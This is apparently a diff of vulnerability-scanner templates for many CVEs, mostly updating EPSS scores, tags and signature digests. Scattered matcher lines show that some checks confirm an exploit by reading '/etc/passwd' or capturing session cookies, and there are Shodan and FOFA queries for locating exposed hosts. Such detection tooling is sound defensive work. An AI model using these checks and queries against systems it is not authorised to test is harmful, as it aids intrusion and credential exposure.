# digest: 4a0a004730450221009f95a64653539c27c17d96b8dec42d6a4c345813e34945aec95c8303977ab697022027b0914a15a733ce01ccdace0c37a6e651b2c686144d929736ad3d2254f8e04d:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100f7a1f763d65c6e6e3c51906273969959ce129992b8f25f906f27399392fadb7c022100efb2c0f5d57315a5c7f6c81c7a9505d311a6a4c065654b1b51fa5e6f38f800f6:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2020-0646
cwe-id: CWE-91
epss-score: 0.99193
epss-percentile: 0.99929
epss-score: 0.99222
epss-percentile: 0.99935
cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
metadata:
verified: true
@@ -106,4 +106,4 @@ code:
- 'contains(content_type, "text/xml")'
- 'status_code == 200'
condition: and
# digest: 4a0a0047304502207162f761e3d8ddc260f7d3f67120120f8b615d0a94070bd2fad50ba2d30da7c9022100bac50b9c69fbd7c5dad760e65dd37125ee8d8586bdca7fa75f1b0bafd1912d38:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502206987d50162e5094e8395d966e0c9994bcc274759874a0abfbdbd63eac17971d40221008a5f294f8a7fe9c8119213710c3a31344aaab72da3a5317059d7ef5047e3b591:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -14,8 +14,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cve-id: CVE-2020-13935
epss-score: 0.87553
epss-percentile: 0.99736
epss-score: 0.86608
epss-percentile: 0.99741
reference:
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
@@ -281,4 +281,4 @@ code:
- type: dsl
dsl:
- "contains_all(stderr, 'read tcp', 'i/o timeout') && !contains(stderr, 'websocket: close 1002 (protocol error): An invalid WebSocket frame was received - the most significant bit of a 64-bit payload was illegally set')"
# digest: 490a0046304402201cc078bbe522c2e7e65046d1f57942c4416e145f327b671423c69f8cee335a03022076c19957a2a9ac877638982a59b80c38c454d390ab213de628db7bffb7a402e9:62279eae9ebf191e34eae847adfdbab2
# digest: 4a0a004730450220696297a8c200dce0b67dbde81631b9fba28969813b1eb1328ce0b283ab86e91c022100d9491149f8271b9f417b426cf07b99dc92804a61844c6e77fc073f1a51bf4336:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 7.8
cve-id: CVE-2021-3156
cwe-id: CWE-193
epss-score: 0.99295
epss-percentile: 0.99933
epss-score: 0.99962
epss-percentile: 0.99975
cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
metadata:
verified: true
@@ -44,4 +44,4 @@ code:
- "malloc(): memory corruption"
- "Aborted (core dumped)"
condition: and
# digest: 4b0a00483046022100ab0a7ac942d47cd091d970fb33bf7349e9209b77c786e722f790a2d218f2ca41022100b7848035d28482d955ed57ef2669ef1dfa2b1702be8df9421af1fd6fd469fe2f:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100f8b6b3dbad47f66af5e3a10b6ce02164ad35bc0683cdf1aefadc6bfb2107efc502205939d83ced077fdc70296b73e4c840a2fd2f1c2e4cb8fbb1dec6ff7b5953f9ee:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -25,7 +25,7 @@ info:
cve-id: CVE-2022-42475
cwe-id: CWE-197,CWE-787
epss-score: 0.99474
epss-percentile: 0.99938
epss-percentile: 0.99943
cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
metadata:
max-request: 1
@@ -38,7 +38,7 @@ info:
fofa-query:
- body="/remote/login" "xxxxxxxx"
- icon_hash="945408572"
tags: cve,cve2022,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev,vkev,vuln
tags: cve,cve2022,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,intrusive,kev,vkev,vuln
flow: http () && code()
@@ -287,4 +287,4 @@ code:
- type: word
words:
- "Target appears to be VULNERABLE"
# digest: 490a0046304402203a594ca86728ad75290e4473c074d814b8eef20d8dae6a0d74a8e34835d9b8ed02202277f1b2746b99d80032baca203562d0d4116d9dd34f0ddf7a6de61ea66dfb0c:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100d8303a34225defa7b3e1a4f92c0465c9388f259e9ea7186311aa082b7714de6402200821c12a61e3f63c1124ebe72b00e885809f24cd161c28999d1c35b358377dd7:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 7.8
cve-id: CVE-2023-2640
cwe-id: CWE-863
epss-score: 0.15783
epss-percentile: 0.96475
epss-score: 0.15199
epss-percentile: 0.96764
cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
metadata:
verified: true
@@ -55,4 +55,4 @@ code:
- '!contains(code_1_response, "(root)")'
- 'contains(code_2_response, "(root)")'
condition: and
# digest: 4a0a0047304502206db6fef55e0ea3720c171e24875022bc0c0b28fa1e8929bdb072f45c0ad3e787022100dedf028ad02b954b6ff47a920377b8a14bf24d77342839802e179f408530a0a0:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100fcba57c30ef9566204e7f3d747bb2cbea843b468984b7650de7c2c6ef5592840022054dc504f21f77cf52537f2e8bbc371a03d11aeed1ec18848b325b2bd4c42c71f:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -20,8 +20,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-2986
epss-score: 0.41077
epss-percentile: 0.98492
epss-score: 0.42544
epss-percentile: 0.98712
cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
@@ -630,4 +630,4 @@ http:
- type: status
status:
- 302
# digest: 490a0046304402204d23bc6ccef12b3347fdbd3ddff22740de748e8fe21616207c13d46631915f94022044d6027dd10783cec3bfa982a825a050cb7c0f93c2bed2d5eb4e8af1e3a432ba:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402206d440dcb2d0a1da0960983ead9551eeaf3a8f4b9c3b26dee136004160c7902d402202c1324a204e9562ba1c49093b69bc6e5818772cf378a51da07f47a98ede8d520:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2023-49105
cwe-id: CWE-287
epss-score: 0.11074
epss-percentile: 0.95394
epss-score: 0.4319
epss-percentile: 0.98729
cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
metadata:
max-request: 2
@@ -33,7 +33,7 @@ info:
- http.title:"owncloud"
fofa-query: title="owncloud"
google-query: intitle:"owncloud"
tags: cve,cve2023,code,owncloud,auth-bypass,vuln
tags: cve,cve2023,code,owncloud,auth-bypass,vuln,vkev,kev
variables:
username: admin
@@ -94,4 +94,4 @@ http:
- type: dsl
dsl:
- '"Username => "+ username'
# digest: 490a00463044022042a5d3d6ba444a5d13ebc2b14e726017a1a1628d159defe06f1fd784754adf4002207eaaf24acd794eef00b23fc181eed45312960ea935f5c00f5783b5675079f80e:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100dc9e0e457e470228ea6f0d2820849dbb2bc2861735cfa8a637407f791086faa7022100a38f024d8c71a47e01ffba52739cc63985f1721e4f9085cd9deb4309f37df5a4:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 7.8
cve-id: CVE-2023-4911
cwe-id: CWE-787,CWE-122
epss-score: 0.81422
epss-percentile: 0.99594
epss-score: 0.63769
epss-percentile: 0.99223
cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
metadata:
max-request: 1
@@ -43,4 +43,4 @@ code:
- type: word
words:
- "139" # Segmentation Fault Exit Code
# digest: 4a0a00473045022100eebfe3b3bef10d31b6567c5d98fe4ff8a29196ae0bb28b40997cb38a0ac6750202202102070abe91d318e863d75b536aeb56a24ce2adfa23f0e2170cb9a4fad316e4:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502207c9060b66d578f40d2b79a79956ba6ddd073550d34709d8ba6b859c207ae1128022100d3979492dbd103bcaee599832e56d2fada964c6f700827c8be62ab03aa5de46a:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -22,7 +22,7 @@ info:
cve-id: CVE-2023-6246
cwe-id: CWE-787,CWE-122
epss-score: 0.04794
epss-percentile: 0.9087
epss-percentile: 0.91966
cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
metadata:
max-request: 1
@@ -43,4 +43,4 @@ code:
- type: word
words:
- "127" # Segmentation Fault Exit Code
# digest: 4a0a004730450220159eaaa8ffa7ab7226c8015d7e96ddb3267c41b3e684a1ee2d99321f3182fbf9022100e0597ce6c9a0432c3168a1210aefa6b239b053a6b3e6a764e11e7ed807026e7d:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100ce9bacf6c962d7ea46331f9c09ee8faa5f625d15a1c5ebeb2b71f86d378dc96202201322c9e8808e5bb2972d448fecc40f06b9b6c38fe3e44e44af36d07737bfdeda:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -17,8 +17,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-10443
cwe-id: CWE-77
epss-score: 0.2838
epss-percentile: 0.97889
epss-score: 0.28525
epss-percentile: 0.98137
cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
metadata:
verified: true
@@ -58,4 +58,4 @@ code:
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "dns"
# digest: 4a0a0047304502207859036fd3efae7fa01fa07b35bf51d43362e12a6a70c185927e3b4751f9375e022100e79b6014d8afb56f5d2a7270963654a1992cfdc281dba772364157f3fd93b60c:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100f24faf25ec59432f3a70a96a50ed900842774f4f6aee986473bcbb4eeec7dcd3022100b41e8c95ffa3e84488dc72bdf648e08910b16db8a26928be928334fc20f7a90f:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -17,8 +17,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-12356
cwe-id: CWE-77
epss-score: 0.87991
epss-percentile: 0.99746
epss-score: 0.87432
epss-percentile: 0.99757
cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
metadata:
vendor: beyondtrust
@@ -41,4 +41,4 @@ code:
words:
- "0 success"
- "1 try again later"
# digest: 4b0a0048304602210083c79d1d50a22879901fd6304689af4b01f5e9189138c99116c68b6810bb64ee022100b7f44a0aa7ad267068a405202a4842632130902be81b54fb4517952b052035ec:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502205b6dd8fa67d400af1d4a77f5dcf3e1f1bad9f489d7b5926528df91cfbad476810221009b6206f0a5ce5564a639f72e33214ade0b35102df8e251d9fcac1fe6de31eb2e:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -22,7 +22,7 @@ info:
cve-id: CVE-2024-22120
cwe-id: CWE-20
epss-score: 0.76618
epss-percentile: 0.99487
epss-percentile: 0.99545
metadata:
max-request: 1
vendor: zabbix
@@ -73,4 +73,4 @@ code:
- type: word
words:
- "Vulnerable to CVE-2024-22120"
# digest: 4b0a00483046022100c902d7f86bee439e59b7b2480e16fbbf6240b8134c9edd1880769ffd79e23e43022100c956593926cefeeaeecb478bb0b1428fbc47c4b2d6ac5e036a9e34db5f029dcc:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450220206b64121f68ec2dd4225a4cd0de6680c61579ce495e620b47bfc6ce8d4f4768022100f1bcea5daba1f43b4f37e03527ad9b7c90fa0c24ba4ee2517c0fccf9d27164a6:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 10
cve-id: CVE-2024-3094
cwe-id: CWE-506
epss-score: 0.85974
epss-percentile: 0.99702
epss-score: 0.909
epss-percentile: 0.99807
cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
metadata:
verified: true
@@ -63,4 +63,4 @@ code:
- type: dsl
dsl:
- response
# digest: 4a0a00473045022100ffc100ac65c04f91487e3a92e982153a428d575f636e7847511d7c569e2d5d0a022001e1eaa3c0b5a529a7d2c6987c22c324b74c07e410a64fffc0a85f5150dd0a3b:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402201974ed80358079eb51a0f9142de525fc6f0fa11b831eb7e025152a4116250912022071e15d76d3f080c5c3d3aaa6b30ccbb3e0a61ba60c26f12e3d546a795aaf233a:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -14,8 +14,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cve-id: CVE-2024-4340
epss-score: 0.0321
epss-percentile: 0.86643
epss-score: 0.03237
epss-percentile: 0.88321
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-4340
tags: cve,cve2024,py,code,dos,python,sqlparse,vuln
@@ -33,4 +33,4 @@ code:
part: stderr
words:
- "RecursionError: maximum recursion depth exceeded"
# digest: 4a0a00473045022100d25e4a13b66e18a70793db50686b8963280b7dc7e988a3480bea6d5700ed191e022032a5a86d1d784015c036d4cc9c56755d26cfdbd5ba7223124c81d91aa37f3d30:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100c165c9abcc291f6bd62aca0366694f292f2922c8408f7d22a1041b00cb15f759022100bb6b0d83a9a2ff8ed3fe6e3b6d1b5f0dd2d76c485c154d6bfd97114a736d7ac9:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -21,7 +21,7 @@ info:
cve-id: CVE-2024-45409
cwe-id: CWE-347
epss-score: 0.10684
epss-percentile: 0.95276
epss-percentile: 0.95823
metadata:
verified: true
shodan-query: http.title:"GitLab"
@@ -123,4 +123,4 @@ http:
- type: kval
kval:
- _gitlab_session
# digest: 4a0a0047304502206fa8f842163f2c409cca1ad291289aca760f9c937aa5f71b1bef63d521082192022100e5a05953d273f8d6e701f1334125461737f1656477e849d32109115c11f4c577:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502210097062828c6d8457dae4cbb729e751ad24efddb6f5074de16c1ba105d64e0059a022034d7f9a4928585ca91f421082905a2cbc1f4527bb51009b0ac3e709d53df1758:922c64590222798bb761d5b6d8e72950
+5 -5
View File
@@ -19,15 +19,15 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-47575
cwe-id: CWE-306
epss-score: 0.94761
epss-percentile: 0.99848
epss-score: 0.94766
epss-percentile: 0.99858
cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev
tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev,vuln
variables:
HOST: "{{Host}}"
PORT: "{{Port}}"
keysDir: "helpers/payloads/cve-2024-475759-keys"
keysDir: "helpers/payloads/cve-2024-47575-keys"
code:
- engine:
@@ -147,4 +147,4 @@ code:
- type: dsl
dsl:
- response
# digest: 4a0a00473045022100bed3e3eac534344fdb763ef3650cf423ad0ba9827c6bc423e77126ae52bd5816022078f4486cd95a931d57112679778f82328cc62dd2598ac4a2af264495347691a4:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022018449b2bb4d73699afb706451d74784f6a22ce145681e197b4bd582731ee2e9e022100923e5e1d911ffca36315a9293b356fa5e30e869eb945bdf4f7f81b11badbcfc6:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-55556
cwe-id: CWE-502
epss-score: 0.4356
epss-percentile: 0.98582
epss-score: 0.43906
epss-percentile: 0.98753
metadata:
verified: true
max-request: 2
@@ -195,4 +195,4 @@ http:
- type: status
status:
- 500
# digest: 4a0a0047304502207a771388c0c447bd8a872e34fdcb4c20f7a2e794dd7e3f21eee486acb68449e7022100c62bfe32aedec00d572eaf40222eea80573c4718a6b72b3c944e29de1d0449f3:922c64590222798bb761d5b6d8e72950
# digest: 4b0a0048304602210083a465e3e8614e17de5991728ac9d80f9cdeb503fde02b4079b004483ee06df6022100a89d518fa1c5f6a822c777bd2a54b51611cec1e640916d2b5486ef00f0a3ab66:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 6.8
cve-id: CVE-2024-56331
cwe-id: CWE-22
epss-score: 0.01793
epss-percentile: 0.75773
epss-score: 0.01845
epss-percentile: 0.79107
metadata:
verified: true
shodan-query: http.title:"Uptime Kuma"
@@ -124,4 +124,4 @@ code:
- type: word
words:
- "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
# digest: 490a00463044022058dd549617610fd70c3bef78c51b60e727f9ba8a96482936f4d5eb44d3ad3ce2022072257ae6937461320bf62848f0e8885bc06e2add58fb576e39cfabda45b5fad5:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100a0eb29602ae597e28f4a93829f2dda206743a2f6fc6bf73d988a489b5ffa187402206de94bca23af3838a8d8cc3d76806f5615c60d3b6e1f65d0d1fe5e020c62f8b6:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -14,8 +14,8 @@ info:
- https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
- https://github.com/advisories/GHSA-g83h-4727-5rpv
classification:
epss-score: 0.22443
epss-percentile: 0.97411
epss-score: 0.25607
epss-percentile: 0.97966
metadata:
verified: true
shodan-query: title:"GitHub Enterprise"
@@ -192,4 +192,4 @@ http:
- type: kval
kval:
- user_session
# digest: 4a0a0047304502202e72afd0230955ea7101f82008388d9b886b3c2fb3dc41ec592f3e3f14d0a83a02210096e9bd166ef3522b5cc8c16b9820ddb639cf66363c22c7811aaccb30687e75eb:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402203ce6ce097c5dbfe0f385cfb3459186fcedf77fcbcffa20a8c7a53a1de2a5abfd02207d6fa00d022ff2330feaf728dfd3b71f0f996a03843c1b619f07b4a27ef21857:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -15,11 +15,11 @@ info:
- https://github.com/keras-team/keras/pull/20751
- https://towerofhanoi.it/writeups/cve-2025-1550/
classification:
epss-score: 0.02803
epss-percentile: 0.84774
epss-score: 0.02626
epss-percentile: 0.85536
metadata:
max-request: 1
tags: cve,cve2025,code,keras,rce,ml
tags: cve,cve2025,code,keras,rce,ml,vuln
self-contained: true
@@ -77,4 +77,4 @@ code:
part: response
regex:
- "root:.*:0:0:"
# digest: 490a004630440220397b16b7852b80eff0d9833cb912c5f17137b1ca151ef9e330a544b5df96bfab0220474718d09cac82ed59bb2e36d23e7d638f5f87813fe2e52bd44c5e0c2526472c:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100f5214a9cb0b92eab1fbb452e8c40db8296705374c3f2a1327ff8067fa8e8a904022100e60c98e707631840cc352a45061090694047927fd65a1f5c6a8f5c7e045a07a1:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 9.0
cve-id: CVE-2025-22457
cwe-id: CWE-121,CWE-787
epss-score: 0.99979
epss-percentile: 0.9998
epss-score: 0.99981
epss-percentile: 0.99981
cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
metadata:
vendor: ivanti
@@ -164,4 +164,4 @@ code:
- type: word
words:
- "VULNERABLE:"
# digest: 4a0a00473045022100f71fdb80c77ca24cef2f96ac08cf4cad6896dd9385dcaa60e668b360c8997c4e022040a004ffc2b7df64105151be54efe6b70cb5dba83fea11da5aa9b5edc1738f0e:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100e5cb98c61eec3c597a1456695773320cbf0b1f0df66d11b25e749cadf5ebf85c022100c72c4262c32a36c69f8c3266a92313d2cb6edf58b69fdde9f118ad564cbba0a0:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 9.3
cve-id: CVE-2025-25291
cwe-id: CWE-347
epss-score: 0.19506
epss-percentile: 0.97043
epss-score: 0.20965
epss-percentile: 0.9757
metadata:
verified: true
vendor: gitlab
@@ -80,4 +80,4 @@ http:
- type: kval
kval:
- _gitlab_session
# digest: 4a0a00473045022100e2c601dd7e8539fb1cd1a8d57d50bf4220717095b09e8f5129be02d8af437b69022045bb134b59416d6d526a7d108e5741aae74c2b9a5259c6dbf3b550a003fa84ee:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022017ecae573bfb9f8fca3492f51cebf59316eeae1722b0b09fef2b42ca33a17f8e022100b6a65b370397108641358eed784df5b48ca35ad6ac7b0a0a217818785da5c32c:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -22,8 +22,8 @@ info:
cvss-score: 10
cve-id: CVE-2025-32433
cwe-id: CWE-306
epss-score: 0.97859
epss-percentile: 0.999
epss-score: 0.98924
epss-percentile: 0.99927
metadata:
verified: true
max-request: 1
@@ -174,4 +174,4 @@ code:
dsl:
- 'contains(interactsh_protocol, "dns")'
condition: and
# digest: 490a00463044022021be3e9059264c8820581780565b16fca2ac96911af9f2c90cfe41d5efa21d01022046d1be1a59699ebe8ad15c0ead0bbd72fbc528d106d41a32e27412a85972985d:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100f73c5941c82d36fefc97f9070af94ea8949936ed1e457dcc37802f53b6f7f38b02204d6d48f5bbb62eac0d1c08d00b6614ab37771f36c8776548061a05d1e41f99bb:922c64590222798bb761d5b6d8e72950
+4 -3
View File
@@ -18,8 +18,8 @@ info:
- https://explore.alas.aws.amazon.com/CVE-2025-32463.html
classification:
cve-id: CVE-2025-32463
epss-score: 0.47467
epss-percentile: 0.98699
epss-score: 0.563
epss-percentile: 0.99053
cvss-score: 9.3
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cwe-id: CWE-426
@@ -44,6 +44,7 @@ code:
words:
- "root"
negative: true
internal: true
- engine:
- sh
@@ -64,4 +65,4 @@ code:
- "!contains(tolower(response), 'password')"
- "!contains(tolower(response), 'a password is required')"
- "!contains(tolower(response), 'is not in the sudoers file')"
# digest: 490a004630440220136e0b750d94d77ac44ebd9c17cc4b63caefb98466cd8cfaf60285a02339b91c0220283634be0c9a783f5ed4b917983d4e860fc588e568f3b876e4cc5832c75e337c:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502204eccaa3b1e01ecbc1bc83a1c34e1a35f48451272753d119a1dece7c08d5937d0022100a508c5c4f0d38598679ba7a9bd47d542d0f190c35d0dbb61f3ce0180a405ff9f:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -17,8 +17,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-54309
epss-score: 0.92034
epss-percentile: 0.99807
epss-score: 0.93473
epss-percentile: 0.9984
cwe-id: CWE-287,CWE-362
cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*:*
metadata:
@@ -200,4 +200,4 @@ code:
- type: word
words:
- "VULNERABLE:"
# digest: 4b0a00483046022100e8682f6eb18cc49cd7ed9946e1e0df3225844789666f622234e0b55ce31f1ded022100fc067931b6b02b90f0d072f19a5e3a400dfb0a842bdedb8cd71da31370ce3cc1:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100c30546416b77b918aca040239e7720147308420e9c6fe2de9baf9a03b1d25af5022034f9648b3daff9e6d891901c928ab11a2cba1cce91a03e8219d3c6b03ae584b9:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -15,8 +15,8 @@ info:
- https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
- https://nvd.nist.gov/vuln/detail/CVE-2025-6216
classification:
epss-score: 0.29434
epss-percentile: 0.97955
epss-score: 0.47775
epss-percentile: 0.98853
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-6216
@@ -115,4 +115,4 @@ code:
- type: dsl # type of the extractor
dsl:
- '"Reset URL: " + code_response'
# digest: 4b0a004830460221009563513650966d7597d5c8a5a46d49fcc84fef8e698e57b330209c7771a59eb2022100d88d01c549b914a0710335ce592d29c7af52323cd856699f6780c90afc140b37:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402203797e66f5f388c3025ffa9a34aeb891949bb02353dfcf4c3c82b70280dc7bdfe02201b09d665abbf8296b1b6a8d224761014a5de2d90674f9adb1cb24ef0075945eb:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -17,15 +17,15 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-68926
epss-score: 0.2903
epss-percentile: 0.9793
epss-score: 0.3185
epss-percentile: 0.98308
cwe-id: CWE-798
metadata:
verified: true
max-request: 1
vendor: rustfs
product: rustfs
tags: cve,cve2025,rustfs,grpc,auth-bypass,code
tags: cve,cve2025,rustfs,grpc,auth-bypass,code,vuln
variables:
HOST: "{{Host}}"
@@ -87,4 +87,4 @@ code:
name: version
regex:
- "(\\d+\\.\\d+\\.\\d+-alpha\\.\\d+|grpc-auth-bypass)"
# digest: 4a0a00473045022015cbdaff0a72de87b3a5238a9133b95eac29d3445d27d1deb3b696b71739d4540221009846fa120f8cff6e1279f73606d6598fa0047298a7f9f01f29663ac5a6795925:2592222ea8b5b5922b8de61fd7ebe9f8
# digest: 4a0a004730450220404ef4b6e643baa80333b9055a1dd6e3017d6a86724514a819595b1bcdbe7445022100c3500c4ae1c574771dea9a292914ccfa6f1b86af90b4ae2dd249bb3cacbfb0f6:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -18,8 +18,8 @@ info:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-6984
epss-score: 0.01531
epss-percentile: 0.71736
epss-score: 0.01647
epss-percentile: 0.7654
cwe-id: CWE-200
metadata:
verified: true
@@ -64,4 +64,4 @@ code:
- "bin:"
- "daemon:"
condition: or
# digest: 4b0a00483046022100b09735eee11bf2f17bfa345f0063b39ae6aa19e66bf2bc5fb1daefffced2bcd3022100a9c2a04c4d2d7a5beee4a942bcf043c172b2c2f2a5b4fb55dc326a0ee36dcd98:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450220111585b1f4d096a93395983a206fe6a22be33a746b72af2bf91baa7da41b93fb022100fe92a04dc552157386ba5d189bfe81aa84694078f9c651e7266e8fb60b53cde0:922c64590222798bb761d5b6d8e72950
+1 -1
View File
@@ -112,4 +112,4 @@ code:
regex:
- '\|(.+)$'
group: 1
# digest: 4a0a00473045022100b2877e84e37d0dc5c41842be512b9309b95d850ad6474ae80a32462e6b81cfc60220533db7a89ed2ce39c410359b308c5bd8cac3d59d485712154572c64c2c94b5a9:41987585204b393149694b2205534b1a
# digest: 4a0a0047304502205a98076bd98ac3fc7ec235582bbcce6cf4c21d5c125a581beb8fda6b2460b81e022100a0fcae46a204a4cd489c200e00c0b4f718ea624785f470230c91247ee0460057:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -18,13 +18,13 @@ info:
cvss-score: 9.8
cve-id: CVE-2025-9242
cwe-id: CWE-787,CWE-362
epss-score: 0.8637
epss-percentile: 0.99709
epss-score: 0.92219
epss-percentile: 0.99823
cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*:*
metadata:
verified: true
shodan-query: html:"Watchguard" html:"Authentication Server"
tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn,kev,vkev
tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn,kev,vkev,vuln
variables:
HOST: "{{Host}}"
@@ -552,4 +552,4 @@ code:
- type: dsl
dsl:
- response
# digest: 4a0a0047304502207c5ec28507f297a730ae76ad5a6b684be07faadc08f975366ca089b08c207a630221008561c1d8f9122d261eb8d36e7a7343f7a89fb8881769d1027bb4ea62bc10cea7:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502201a421092e3a959ead141b13dbbbfebdb346052d8cc3f390a6549d6a47805e40f0221009d2fc0f2262af3f9dc925122f2ba67cc7775748a2535b646c1d5eb9c10d157e9:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -18,8 +18,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2026-10795
epss-score: 0.03578
epss-percentile: 0.88
epss-score: 0.04308
epss-percentile: 0.91183
cwe-id: CWE-347
metadata:
max-request: 2
@@ -85,4 +85,4 @@ http:
- 'status_code == 200'
- 'contains(body, "\"udrpc_message\":\"")'
condition: and
# digest: 4a0a00473045022100a881b582fed632f80412c76035e841db6494221b4f102f999bad2faddc3da3fb02204c4daa0834d7e0f354be0bab3c44eceafe0a2bd76d77e86fa6fcdd94188ae214:922c64590222798bb761d5b6d8e72950
